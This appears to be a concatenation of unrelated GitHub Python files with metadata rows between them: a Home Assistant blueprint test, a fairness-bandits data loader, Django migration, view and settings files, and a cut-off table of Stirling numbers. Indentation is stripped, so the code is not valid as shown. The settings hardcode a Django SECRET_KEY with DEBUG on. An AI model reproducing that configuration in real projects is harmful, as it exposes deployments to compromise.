| 2021-07-18T09:51:53
| 117,122,037
| 11
| 6
|
Apache-2.0
| 2023-02-22T06:16:51
| 2018-01-11T16:10:19
|
Python
|
UTF-8
|
Python
| false
| false
| 4,069
|
py
|
"""Test script blueprints."""
import asyncio
import contextlib
import pathlib
from typing import Iterator
from unittest.mock import patch
from homeassistant.components import script
from homeassistant.components.blueprint.models import Blueprint, DomainBlueprints
from homeassistant.core import Context, HomeAssistant, callback
from homeassistant.helpers import template
from homeassistant.setup import async_setup_component
from homeassistant.util import yaml
from tests.common import async_mock_service
BUILTIN_BLUEPRINT_FOLDER = pathlib.Path(script.__file__).parent / "blueprints"
@contextlib.contextmanager
def patch_blueprint(blueprint_path: str, data_path: str) -> Iterator[None]:
"""Patch blueprint loading from a different source."""
orig_load = DomainBlueprints._load_blueprint
@callback
def mock_load_blueprint(self, path: str) -> Blueprint:
if path != blueprint_path:
assert False, f"Unexpected blueprint {path}"
return orig_load(self, path)
return Blueprint(
yaml.load_yaml(data_path), expected_domain=self.domain, path=path
)
with patch(
"homeassistant.components.blueprint.models.DomainBlueprints._load_blueprint",
mock_load_blueprint,
):
yield
async def test_confirmable_notification(hass: HomeAssistant) -> None:
"""Test confirmable notification blueprint."""
with patch_blueprint(
"confirmable_notification.yaml",
BUILTIN_BLUEPRINT_FOLDER / "confirmable_notification.yaml",
):
assert await async_setup_component(
hass,
script.DOMAIN,
{
"script": {
"confirm": {
"use_blueprint": {
"path": "confirmable_notification.yaml",
"input": {
"notify_device": "frodo",
"title": "Lord of the things",
"message": "Throw ring in mountain?",
"confirm_action": [
{
"service": "homeassistant.turn_on",
"target": {"entity_id": "mount.doom"},
}
],
},
}
}
}
},
)
turn_on_calls = async_mock_service(hass, "homeassistant", "turn_on")
context = Context()
with patch(
"homeassistant.components.mobile_app.device_action.async_call_action_from_config"
) as mock_call_action:
# Trigger script
await hass.services.async_call(script.DOMAIN, "confirm", context=context)
# Give script the time to attach the trigger.
await asyncio.sleep(0.1)
hass.bus.async_fire("mobile_app_notification_action", {"action": "ANYTHING_ELSE"})
hass.bus.async_fire(
"mobile_app_notification_action", {"action": "CONFIRM_" + Context().id}
)
hass.bus.async_fire(
"mobile_app_notification_action", {"action": "CONFIRM_" + context.id}
)
await hass.async_block_till_done()
assert len(mock_call_action.mock_calls) == 1
_hass, config, variables, _context = mock_call_action.mock_calls[0][1]
template.attach(hass, config)
rendered_config = template.render_complex(config, variables)
assert rendered_config == {
"title": "Lord of the things",
"message": "Throw ring in mountain?",
"alias": "Send notification",
"domain": "mobile_app",
"type": "notify",
"device_id": "frodo",
"data": {
"actions": [
{"action": "CONFIRM_" + _context.id, "title": "Confirm"},
{"action": "DISMISS_" + _context.id, "title": "Dismiss"},
]
},
}
assert len(turn_on_calls) == 1
assert turn_on_calls[0].data == {
"entity_id": ["mount.doom"],
}
|
[
"noreply@github.com"
] |
BenWoodford.noreply@github.com
|
80bd9ed3dc57a0f977621430135615c951038574
|
c6da89d2af85263fe73cdaa74735c95deae3e951
|
/load_data.py
|
21060349485abb4a91e5e020f53887132566c2e0
|
[] |
no_license
|
antonm94/Fairness_in_Bandits
|
7489fb97f94c1b2116756ab76f1ac705687e088d
|
f37960efd1ef84e5d21f9c402393851f6c050305
|
refs/heads/master
| 2021-09-10T21:48:21.001625
| 2018-04-02T21:46:39
| 2018-04-02T21:46:39
| 106,277,769
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,487
|
py
|
import pandas as pd
import numpy as np
import bandits
import os
path = os.path.dirname(os.path.abspath(__file__))
def bar_exam_data():
df = pd.read_sas(path +'/DataSets/LawSchool/BarPassage/LSAC_SAS/lsac.sas7bdat')
bar = df[['ID', 'sex', 'race1', 'pass_bar' , 'bar']]
bar = bar.dropna()
race_grouped = bar[['race1','pass_bar']].groupby('race1')
arm = np.empty((5,), dtype=object)
arm[0] = list(race_grouped.get_group('asian')['pass_bar'])
arm[1] = list(race_grouped.get_group('black')['pass_bar'])
arm[2] = list(race_grouped.get_group('hisp')['pass_bar'])
arm[3] = list(race_grouped.get_group('other')['pass_bar'])
arm[4] = list(race_grouped.get_group('white')['pass_bar'])
return bandits.Bandits(arm, 'bar_exam')
def default_credit_data():
df = pd.read_excel(path +'/DataSets/Default/default.xls')
sex_default = df[['X2','Y']][1:]
sex_default_grouped = sex_default.groupby('X2')
arm = np.empty((2,), dtype=object)
arm[0] = list(sex_default_grouped.get_group(1)['Y'])
arm[1] = list(sex_default_grouped.get_group(2)['Y'])
return bandits.Bandits(arm, 'default_credit')
def adult_data():
column_names = ['age', 'workclass', 'fnlwgt', 'education', 'education_num', 'marital_status',
'occupation', 'relationship', 'race', 'sex',
'capital_gain', 'capital_loss', 'hours_per_week','native_country', 'income_class']
df = pd.read_csv(path +'./DataSets/Adult/adult.data.csv', names = column_names)
df['income_class'] = df['income_class'].astype('str')
df = df.replace({'income_class': {df['income_class'][7]: 1, df['income_class'][0]: 0}})
age_grouped = df.groupby('marital_status')
for name, group in age_grouped:
print(name)
print(len(group))
# arm = np.empty((5,), dtype=object)
# arm[0] = list(race_grouped.get_group('asian')['pass_bar'])
# arm[1] = list(race_grouped.get_group('black')['pass_bar'])
# arm[2] = list(race_grouped.get_group('hisp')['pass_bar'])
# arm[3] = list(race_grouped.get_group('other')['pass_bar'])
# arm[4] = list(race_grouped.get_group('white')['pass_bar'])
#
# return bandits.Bandits(arm)
#return bandits.Bandits(arm)
def load_data(s):
data = {
'Bar Exam': 'Bar Exam',
'Default on Credit': [0.24167227, 0.20776281],
'0': [0.001, 0., 1., 0.97, 0.96],
'1': [0.12, 0.2, 0.13, 0.04, 0.10],
'2': [0, 1, 0, 0, 0],
'3': [0.5, 0.5, 0.5, 0.5, 0.5]
}
if data[s] == 'Bar Exam':
return bar_exam_data()
# elif data[s] == 'Default on Credit':
# return default_credit_data()
else:
p = data[s]
arm = np.empty((len(p), 10000), dtype=object)
for i in range(len(p)):
arm[i] = np.random.binomial(1, p[i], 10000)
return bandits.Bandits(arm, 'Data' + s)
if __name__ == '__main__':
#adult_data()
b = load_data('Default on Credit')
print b.get_max_D()
print b.get_mean()
b = load_data('Bar Exam')
print b.get_max_D()
print b.get_mean()
b = load_data('0')
print b.get_max_D()
print b.get_mean()
b = load_data('1')
print b.get_max_D()
print b.get_mean()
b = load_data('2')
print b.get_max_D()
print b.get_mean()
b = load_data('3')
print b.get_max_D()
print b.get_mean()
b = load_data('Default on Credit')
print b.get_max_D()
print b.get_mean()
|
[
"manton@student.ethz.ch"
] |
manton@student.ethz.ch
|
b1a1202d72ddb21e58520b66b0bbcc3b9f6e3b8c
|
2824f1ca53fc2ecbcb4ba1da0f97896dc6e9945b
|
/portfolio/migrations/0003_photographerproduct_photographer_product_name.py
|
0bc0a83658359c6cd9ddf65d137c5f373e876f0b
|
[] |
no_license
|
takechann/portfolio
|
b6ba101df682af99d5a441c588e490336e09429d
|
f08921a71612c367b32e9d66086686de77f1f9f5
|
refs/heads/master
| 2021-01-01T16:15:55.958163
| 2017-05-28T15:23:11
| 2017-05-28T15:23:11
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 496
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-22 13:06
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('portfolio', '0002_auto_20170322_2202'),
]
operations = [
migrations.AddField(
model_name='photographerproduct',
name='photographer_product_name',
field=models.CharField(default='', max_length=100),
),
]
|
[
"b1013068@fun.ac.jp"
] |
b1013068@fun.ac.jp
|
9b8bc0c7c6286ea83e9ad9ea010cc95cc6d2b6ee
|
167bff5d6f9eb2f03927cdf6056c481100af4a22
|
/extra_apps/To_main.py
|
9c99c01eb67ae4cc02874d0bd148ffe556fe78b5
|
[] |
no_license
|
jialu001/warehouse
|
b68b67e097c7e84dbb5d50fb4308b80049a708d3
|
5e4e1c496ce570fac82265562f1dbac609c38d3a
|
refs/heads/master
| 2020-05-19T16:25:41.996929
| 2019-06-12T01:29:37
| 2019-06-12T01:29:37
| 183,835,181
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 119
|
py
|
from django.shortcuts import render
##数据库查询
def to_index(request):
return render(request, "index.html")
|
[
"17771885301@163.com"
] |
17771885301@163.com
|
28a4ddd4e65f7a44b476d6290079a57f2f4e87f1
|
b827f7e6e377c08b2091dca2ce857a8a861d8342
|
/mysite/settings.py
|
5cf34b01fba8e34d5dc9fdfbde391833e937a041
|
[] |
no_license
|
NotJustThatGuy/my-first-blog
|
d4f1ead392458b3df737ae68336e9e605763fc7b
|
e9ac645bb82abaeff8b864234723630618e2d57a
|
refs/heads/master
| 2020-04-02T22:56:46.911820
| 2018-11-09T03:47:15
| 2018-11-09T03:47:15
| 154,849,945
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,155
|
py
|
"""
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 2.0.9.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'i-tecg6ze_02dqi#^m)ytvm6gk5jb^g$%6-8n25=kve##8o@*0'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'blog',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysite.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysite.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'Asia/Manila'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
|
[
"a1plus1equals2@gmail.com"
] |
a1plus1equals2@gmail.com
|
44948901ac27d0614455b0590ba959b65d4e8895
|
969eda14939da66b2fe3b7382b35ccfe8b0b6452
|
/secondStirling.py
|
28055571809dd4e01f2a47b4a725e1a959e3cdef
|
[] |
no_license
|
creigh48/Eureka
|
5644b2c8c279c078c95be85fa164ce6c19161c4f
|
94c95c7b796a6f767e92edf9009ddba66c23faa5
|
refs/heads/master
| 2020-06-01T18:17:45.630746
| 2014-11-07T16:57:09
| 2014-11-07T16:57:09
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 296,241
|
py
|
S={'1,1':1,
'2,1':1,
'2,2':1,
'3,1':1,
'3,2':3,
'3,3':1,
'4,1':1,
'4,2':7,
'4,3':6,
'4,4':1,
'5,1':1,
'5,2':15,
'5,3':25,
'5,4':10,
'5,5':1,
'6,1':1,
'6,2':31,
'6,3':90,
'6,4':65,
'6,5':15,
'6,6':1,
'7,1':1,
'7,2':63,
'7,3':301,
'7,4':350,
'7,5':140,
'7,6':21,
'7,7':1,
'8,1':1,
'8,2':127,
'8,3':966,
'8,4':1701,
'8,5':1050,
'8,6':266,
'8,7':28,
'8,8':1,
'9,1':1,
'9,2':255,
'9,3':3025,
'9,4':7770,
'9,5':6951,
'9,6':2646,
'9,7':462,
'9,8':36,
'9,9':1,
'10,1':1,
'10,2':511,
'10,3':9330,
'10,4':34105,
'10,5':42525,
'10,6':22827,
'10,7':5880,
'10,8':750,
'10,9':45,
'10,10':1,
'11,1':1,
'11,2':1023,
'11,3':28501,
'11,4':145750,
'11,5':246730,
'11,6':179487,
'11,7':63987,
'11,8':11880,
'11,9':1155,
'11,10':55,
'11,11':1,
'12,1':1,
'12,2':2047,
'12,3':86526,
'12,4':611501,
'12,5':1379400,
'12,6':1323652,
'12,7':627396,
'12,8':159027,
'12,9':22275,
'12,10':1705,
'12,11':66,
'12,12':1,
'13,1':1,
'13,2':4095,
'13,3':261625,
'13,4':2532530,
'13,5':7508501,
'13,6':9321312,
'13,7':5715424,
'13,8':1899612,
'13,9':359502,
'13,10':39325,
'13,11':2431,
'13,12':78,
'13,13':1,
'14,1':1,
'14,2':8191,
'14,3':788970,
'14,4':10391745,
'14,5':40075035,
'14,6':63436373,
'14,7':49329280,
'14,8':20912320,
'14,9':5135130,
'14,10':752752,
'14,11':66066,
'14,12':3367,
'14,13':91,
'14,14':1,
'15,1':1,
'15,2':16383,
'15,3':2375101,
'15,4':42355950,
'15,5':210766920,
'15,6':420693273,
'15,7':408741333,
'15,8':216627840,
'15,9':67128490,
'15,10':12662650,
'15,11':1479478,
'15,12':106470,
'15,13':4550,
'15,14':105,
'15,15':1,
'16,1':1,
'16,2':32767,
'16,3':7141686,
'16,4':171798901,
'16,5':1096190550,
'16,6':2734926558,
'16,7':3281882604,
'16,8':2141764053,
'16,9':820784250,
'16,10':193754990,
'16,11':28936908,
'16,12':2757118,
'16,13':165620,
'16,14':6020,
'16,15':120,
'16,16':1,
'17,1':1,
'17,2':65535,
'17,3':21457825,
'17,4':694337290,
'17,5':5652751651,
'17,6':17505749898,
'17,7':25708104786,
'17,8':20415995028,
'17,9':9528822303,
'17,10':2758334150,
'17,11':512060978,
'17,12':62022324,
'17,13':4910178,
'17,14':249900,
'17,15':7820,
'17,16':136,
'17,17':1,
'18,1':1,
'18,2':131071,
'18,3':64439010,
'18,4':2798806985,
'18,5':28958095545,
'18,6':110687251039,
'18,7':197462483400,
'18,8':189036065010,
'18,9':106175395755,
'18,10':37112163803,
'18,11':8391004908,
'18,12':1256328866,
'18,13':125854638,
'18,14':8408778,
'18,15':367200,
'18,16':9996,
'18,17':153,
'18,18':1,
'19,1':1,
'19,2':262143,
'19,3':193448101,
'19,4':11259666950,
'19,5':147589284710,
'19,6':693081601779,
'19,7':1492924634839,
'19,8':1709751003480,
'19,9':1144614626805,
'19,10':477297033785,
'19,11':129413217791,
'19,12':23466951300,
'19,13':2892439160,
'19,14':243577530,
'19,15':13916778,
'19,16':527136,
'19,17':12597,
'19,18':171,
'19,19':1,
'20,1':1,
'20,2':524287,
'20,3':580606446,
'20,4':45232115901,
'20,5':749206090500,
'20,6':4306078895384,
'20,7':11143554045652,
'20,8':15170932662679,
'20,9':12011282644725,
'20,10':5917584964655,
'20,11':1900842429486,
'20,12':411016633391,
'20,13':61068660380,
'20,14':6302524580,
'20,15':452329200,
'20,16':22350954,
'20,17':741285,
'20,18':15675,
'20,19':190,
'20,20':1,
'21,1':1,
'21,2':1048575,
'21,3':1742343625,
'21,4':181509070050,
'21,5':3791262568401,
'21,6':26585679462804,
'21,7':82310957214948,
'21,8':132511015347084,
'21,9':123272476465204,
'21,10':71187132291275,
'21,11':26826851689001,
'21,12':6833042030178,
'21,13':1204909218331,
'21,14':149304004500,
'21,15':13087462580,
'21,16':809944464,
'21,17':34952799,
'21,18':1023435,
'21,19':19285,
'21,20':210,
'21,21':1,
'22,1':1,
'22,2':2097151,
'22,3':5228079450,
'22,4':727778623825,
'22,5':19137821912055,
'22,6':163305339345225,
'22,7':602762379967440,
'22,8':1142399079991620,
'22,9':1241963303533920,
'22,10':835143799377954,
'22,11':366282500870286,
'22,12':108823356051137,
'22,13':22496861868481,
'22,14':3295165281331,
'22,15':345615943200,
'22,16':26046574004,
'22,17':1404142047,
'22,18':53374629,
'22,19':1389850,
'22,20':23485,
'22,21':231,
'22,22':1,
'23,1':1,
'23,2':4194303,
'23,3':15686335501,
'23,4':2916342574750,
'23,5':96416888184100,
'23,6':998969857983405,
'23,7':4382641999117305,
'23,8':9741955019900400,
'23,9':12320068811796900,
'23,10':9593401297313460,
'23,11':4864251308951100,
'23,12':1672162773483930,
'23,13':401282560341390,
'23,14':68629175807115,
'23,15':8479404429331,
'23,16':762361127264,
'23,17':49916988803,
'23,18':2364885369,
'23,19':79781779,
'23,20':1859550,
'23,21':28336,
'23,22':253,
'23,23':1,
'24,1':1,
'24,2':8388607,
'24,3':47063200806,
'24,4':11681056634501,
'24,5':485000783495250,
'24,6':6090236036084530,
'24,7':31677463851804540,
'24,8':82318282158320505,
'24,9':120622574326072500,
'24,10':108254081784931500,
'24,11':63100165695775560,
'24,12':24930204590758260,
'24,13':6888836057922000,
'24,14':1362091021641000,
'24,15':195820242247080,
'24,16':20677182465555,
'24,17':1610949936915,
'24,18':92484925445,
'24,19':3880739170,
'24,20':116972779,
'24,21':2454606,
'24,22':33902,
'24,23':276,
'24,24':1,
'25,1':1,
'25,2':16777215,
'25,3':141197991025,
'25,4':46771289738810,
'25,5':2436684974110751,
'25,6':37026417000002430,
'25,7':227832482998716310,
'25,8':690223721118368580,
'25,9':1167921451092973005,
'25,10':1203163392175387500,
'25,11':802355904438462660,
'25,12':362262620784874680,
'25,13':114485073343744260,
'25,14':25958110360896000,
'25,15':4299394655347200,
'25,16':526655161695960,
'25,17':48063331393110,
'25,18':3275678594925,
'25,19':166218969675,
'25,20':6220194750,
'25,21':168519505,
'25,22':3200450,
'25,23':40250,
'25,24':300,
'25,25':1,
'26,1':1,
'26,2':33554431,
'26,3':423610750290,
'26,4':187226356946265,
'26,5':12230196160292565,
'26,6':224595186974125331,
'26,7':1631853797991016600,
'26,8':5749622251945664950,
'26,9':11201516780955125625,
'26,10':13199555372846848005,
'26,11':10029078340998476760,
'26,12':5149507353856958820,
'26,13':1850568574253550060,
'26,14':477898618396288260,
'26,15':90449030191104000,
'26,16':12725877242482560,
'26,17':1343731795378830,
'26,18':107025546101760,
'26,19':6433839018750,
'26,20':290622864675,
'26,21':9759104355,
'26,22':238929405,
'26,23':4126200,
'26,24':47450,
'26,25':325,
'26,26':1,
'27,1':1,
'27,2':67108863,
'27,3':1270865805301,
'27,4':749329038535350,
'27,5':61338207158409090,
'27,6':1359801318005044551,
'27,7':11647571772911241531,
'27,8':47628831813556336200,
'27,9':106563273280541795575,
'27,10':143197070509423605675,
'27,11':123519417123830092365,
'27,12':71823166587281982600,
'27,13':29206898819153109600,
'27,14':8541149231801585700,
'27,15':1834634071262848260,
'27,16':294063066070824960,
'27,17':35569317763922670,
'27,18':3270191625210510,
'27,19':229268487458010,
'27,20':12246296312250,
'27,21':495564056130,
'27,22':15015551265,
'27,23':333832005,
'27,24':5265000,
'27,25':55575,
'27,26':351,
'27,27':1,
'28,1':1,
'28,2':134217727,
'28,3':3812664524766,
'28,4':2998587019946701,
'28,5':307440364830580800,
'28,6':8220146115188676396,
'28,7':82892803728383735268,
'28,8':392678226281361931131,
'28,9':1006698291338432496375,
'28,10':1538533978374777852325,
'28,11':1501910658871554621690,
'28,12':985397416171213883565,
'28,13':451512851236272407400,
'28,14':148782988064375309400,
'28,15':36060660300744309600,
'28,16':6539643128396047620,
'28,17':898741468057510350,
'28,18':94432767017711850,
'28,19':7626292886912700,
'28,20':474194413703010,
'28,21':22653141490980,
'28,22':825906183960,
'28,23':22693687380,
'28,24':460192005,
'28,25':6654375,
'28,26':64701,
'28,27':378,
'28,28':1,
'29,1':1,
'29,2':268435455,
'29,3':11438127792025,
'29,4':11998160744311570,
'29,5':1540200411172850701,
'29,6':49628317055962639176,
'29,7':588469772213874823272,
'29,8':3224318613979279184316,
'29,9':9452962848327254398506,
'29,10':16392038075086211019625,
'29,11':18059551225961878690915,
'29,12':13326679652926121224470,
'29,13':6855064482242755179765,
'29,14':2534474684137526739000,
'29,15':689692892575539953400,
'29,16':140694950355081071520,
'29,17':21818248085373723570,
'29,18':2598531274376323650,
'29,19':239332331869053150,
'29,20':17110181160972900,
'29,21':949910385013590,
'29,22':40823077538100,
'29,23':1347860993700,
'29,24':33738295500,
'29,25':626551380,
'29,26':8336601,
'29,27':74907,
'29,28':406,
'29,29':1,
'30,1':1,
'30,2':536870911,
'30,3':34314651811530,
'30,4':48004081105038305,
'30,5':7713000216608565075,
'30,6':299310102746948685757,
'30,7':4168916722553086402080,
'30,8':26383018684048108297800,
'30,9':88300984248924568770870,
'30,10':173373343599189364594756,
'30,11':215047101560666876619690,
'30,12':177979707061075333384555,
'30,13':102442517922081938561415,
'30,14':42337710060168129525765,
'30,15':12879868072770626040000,
'30,16':2940812098256837097720,
'30,17':511605167806434372210,
'30,18':68591811024147549270,
'30,19':7145845579888333500,
'30,20':581535955088511150,
'30,21':37058299246258290,
'30,22':1848018090851790,
'30,23':71823880393200,
'30,24':2157580085700,
'30,25':49402080000,
'30,26':843303006,
'30,27':10359090,
'30,28':86275,
'30,29':435,
'30,30':1,
'31,1':1,
'31,2':1073741823,
'31,3':102944492305501,
'31,4':192050639071964750,
'31,5':38613005164147863680,
'31,6':1803573616698300679617,
'31,7':29481727160618553500317,
'31,8':215233066194937952784480,
'31,9':821091876924369227235630,
'31,10':1822034420240818214718430,
'31,11':2538891460766525007411346,
'31,12':2350803586293570877234350,
'31,13':1509732440048140534682950,
'31,14':695170458764435751922125,
'31,15':235535731151727520125765,
'31,16':59932861644880019603520,
'31,17':11638099950966221425290,
'31,18':1746257766241090259070,
'31,19':204362877042025885770,
'31,20':18776564681658556500,
'31,21':1359760239259935240,
'31,22':77714697244997670,
'31,23':3499967339895390,
'31,24':123605802450000,
'31,25':3392632085700,
'31,26':71327958156,
'31,27':1122998436,
'31,28':12774790,
'31,29':98890,
'31,30':465,
'31,31':1,
'32,1':1,
'32,2':2147483647,
'32,3':308834550658326,
'32,4':768305500780164501,
'32,5':193257076459811283150,
'32,6':10860054705353951941382,
'32,7':208175663741028175181836,
'32,8':1751346256720122175776157,
'32,9':7605059958514260997905150,
'32,10':19041436079332551374419930,
'32,11':29749840488672593296243236,
'32,12':30748534496289375534223546,
'32,13':21977325306919397828112700,
'32,14':11242118862750241061592700,
'32,15':4228206426040348553808600,
'32,16':1194461517469807833782085,
'32,17':257780560811305783833450,
'32,18':43070739743305846088550,
'32,19':5629152430039582088700,
'32,20':579894170675197015770,
'32,21':47331529706117196540,
'32,22':3069483578649883980,
'32,23':158213946062591640,
'32,24':6466506598695390,
'32,25':208421604592500,
'32,26':5247158997756,
'32,27':101648915928,
'32,28':1480692556,
'32,29':15642600,
'32,30':112840,
'32,31':496,
'32,32':1,
'33,1':1,
'33,2':4294967295,
'33,3':926505799458625,
'33,4':3073530837671316330,
'33,5':967053687799836580251,
'33,6':65353585308583522931442,
'33,7':1468089700892551178214234,
'33,8':14218945717502005581391092,
'33,9':70196885883348471156922507,
'33,10':198019420751839774742104450,
'33,11':346289681454731077633095526,
'33,12':398732254444145099706925788,
'33,13':316453763486241547299688646,
'33,14':179366989385422772690410500,
'33,15':74665215253355469368721700,
'33,16':23339590705557273894321960,
'33,17':5576731051262006158950735,
'33,18':1033053876190811013427350,
'33,19':150024635914057905773850,
'33,20':17227035843543522404100,
'33,21':1573856294503658143110,
'33,22':114860168436414644100,
'33,23':6708404338089491700,
'33,24':313410104431281000,
'33,25':11677046713507890,
'33,26':344847738534156,
'33,27':7991679727812,
'33,28':143108307496,
'33,29':1934327956,
'33,30':19027800,
'33,31':128216,
'33,32':528,
'33,33':1,
'34,1':1,
'34,2':8589934591,
'34,3':2779521693343170,
'34,4':12295049856484723945,
'34,5':4838341969836854217585,
'34,6':393088565539300974168903,
'34,7':10341981491556441770431080,
'34,8':115219655440908595829342970,
'34,9':645990918667638245993693655,
'34,10':2050391093401746218577967007,
'34,11':4007205916753881628706155236,
'34,12':5131076734784472274116204982,
'34,13':4512631179765285214602878186,
'34,14':2827591614882160364965435646,
'34,15':1299345218185754813221236000,
'34,16':448098666542271851677873060,
'34,17':118144018577011378596484455,
'34,18':24171700822696604400643035,
'34,19':3883521958557911223130500,
'34,20':494565352784928353855850,
'34,21':50278018028120343409410,
'34,22':4100780000104780313310,
'34,23':269153468212472953200,
'34,24':14230246844440235700,
'34,25':605336272268978250,
'34,26':20643087915395946,
'34,27':560623091185080,
'34,28':11998712337700,
'34,29':199203818220,
'34,30':2505161956,
'34,31':23002496,
'34,32':145112,
'34,33':561,
'34,34':1,
'35,1':1,
'35,2':17179869183,
'35,3':8338573669964101,
'35,4':49182978947632238950,
'35,5':24204004899040755811870,
'35,6':2363369735205642699231003,
'35,7':72786959006434393367186463,
'35,8':932099225018825208405174840,
'35,9':5929137923449652809772585865,
'35,10':21149901852685100431773363725,
'35,11':46129656177694444134345674603,
'35,12':65580126734167548918100615020,
'35,13':63795282071733180063953621400,
'35,14':44098913788115530324118977230,
'35,15':22317769887668482563283975646,
'35,16':8468923882862104440067204960,
'35,17':2456546982351465287818108795,
'35,18':553234633385550257808059085,
'35,19':97958618035296917640122535,
'35,20':13774829014256478300247500,
'35,21':1550403731375455565453460,
'35,22':140495178030425510302230,
'35,23':10291309768991658236910,
'35,24':610679392479038610000,
'35,25':29363653651164691950,
'35,26':1142056558069272846,
'35,27':35779911377393106,
'35,28':896587036640680,
'35,29':17775623066080,
'35,30':274358676900,
'35,31':3218239332,
'35,32':27646080,
'35,33':163625,
'35,34':595,
'35,35':1,
'36,1':1,
'36,2':34359738367,
'36,3':25015738189761486,
'36,4':196740254364198919901,
'36,5':121069207474151411298300,
'36,6':14204422416132896951197888,
'36,7':511872082780246396269536244,
'36,8':7529580759157036060608585183,
'36,9':54294340536065700496358447625,
'36,10':217428156450300657127506223115,
'36,11':528576119807323985909575784358,
'36,12':833091176987705031151553054843,
'36,13':894918793666698889749497693220,
'36,14':681180075105350604601619302620,
'36,15':378865462103142768773378611920,
'36,16':157820552013462153604359255006,
'36,17':50230222582837014332975054475,
'36,18':12414770383291369928363172325,
'36,19':2414448376056191692970387250,
'36,20':373455198320426483645072535,
'36,21':46333307373141045174770160,
'36,22':4641297648044816792102520,
'36,23':377195302717233649751160,
'36,24':24947615188488584876910,
'36,25':1344770733758155908750,
'36,26':59057124160965785946,
'36,27':2108114165258886708,
'36,28':60884348403332146,
'36,29':1412080105557000,
'36,30':26006383373080,
'36,31':374124096192,
'36,32':4102913892,
'36,33':33045705,
'36,34':183855,
'36,35':630,
'36,36':1,
'37,1':1,
'37,2':68719476735,
'37,3':75047248929022825,
'37,4':786986033194985441090,
'37,5':605542777625121255411401,
'37,6':85347603704271533118485628,
'37,7':3597309001877857670837951596,
'37,8':60748518156036534881138217708,
'37,9':496178645583748340527834613808,
'37,10':2228575905039072271771420678775,
'37,11':6031765474330864502132839851053,
'37,12':10525670243659784359728212442474,
'37,13':12467035494654790597895023066703,
'37,14':10431439845141607354172167929900,
'37,15':6364162006652492136202298481420,
'37,16':2903994294318537226443126692016,
'37,17':1011734335921691397264935181081,
'37,18':273696089482081673043512156325,
'37,19':58289289528359012094800530075,
'37,20':9883552342464721365871837950,
'37,21':1346454653156388432315245895,
'37,22':148441855630127014601025600,
'37,23':13316789610541190736379200,
'37,24':975938067240959686797000,
'37,25':58566883532442482595660,
'37,26':2880255961943266343346,
'37,27':115976206622955727062,
'37,28':3812875920552186796,
'37,29':101834671464485146,
'37,30':2192271606749400,
'37,31':37604230355032,
'37,32':505417340736,
'37,33':5193422157,
'37,34':39296775,
'37,35':205905,
'37,36':666,
'37,37':1,
'38,1':1,
'38,2':137438953471,
'38,3':225141815506545210,
'38,4':3148019180028870787185,
'38,5':3028500874158801262498095,
'38,6':512691165003254319966325169,
'38,7':25266510616849275228984146800,
'38,8':489585454250170136719943693260,
'38,9':4526356328409771599631649741980,
'38,10':22781937695974471058242041401558,
'38,11':68577996122678581795232659040358,
'38,12':132339808398248276818871389160741,
'38,13':172597131674172062132363512309613,
'38,14':158507193326637293556305374085303,
'38,15':105893869944928989397206645151200,
'38,16':52828070715749087759292325553676,
'38,17':20103478004987290979947024770393,
'38,18':5938263946599161512048153994931,
'38,19':1381192590520902902844722227750,
'38,20':255960336377653439412237289075,
'38,21':38159100058748878444492001745,
'38,22':4612175477019182753537809095,
'38,23':454728016672574401537747200,
'38,24':36739303224324223219507200,
'38,25':2440110155552021751688500,
'38,26':133453538542967407522656,
'38,27':6011613540763070974020,
'38,28':222736732398416957350,
'38,29':6766081393022256030,
'38,30':167602819666967146,
'38,31':3358002747755392,
'38,32':53777585258584,
'38,33':676800271917,
'38,34':6529512507,
'38,35':46503450,
'38,36':229881,
'38,37':703,
'38,38':1,
'39,1':1,
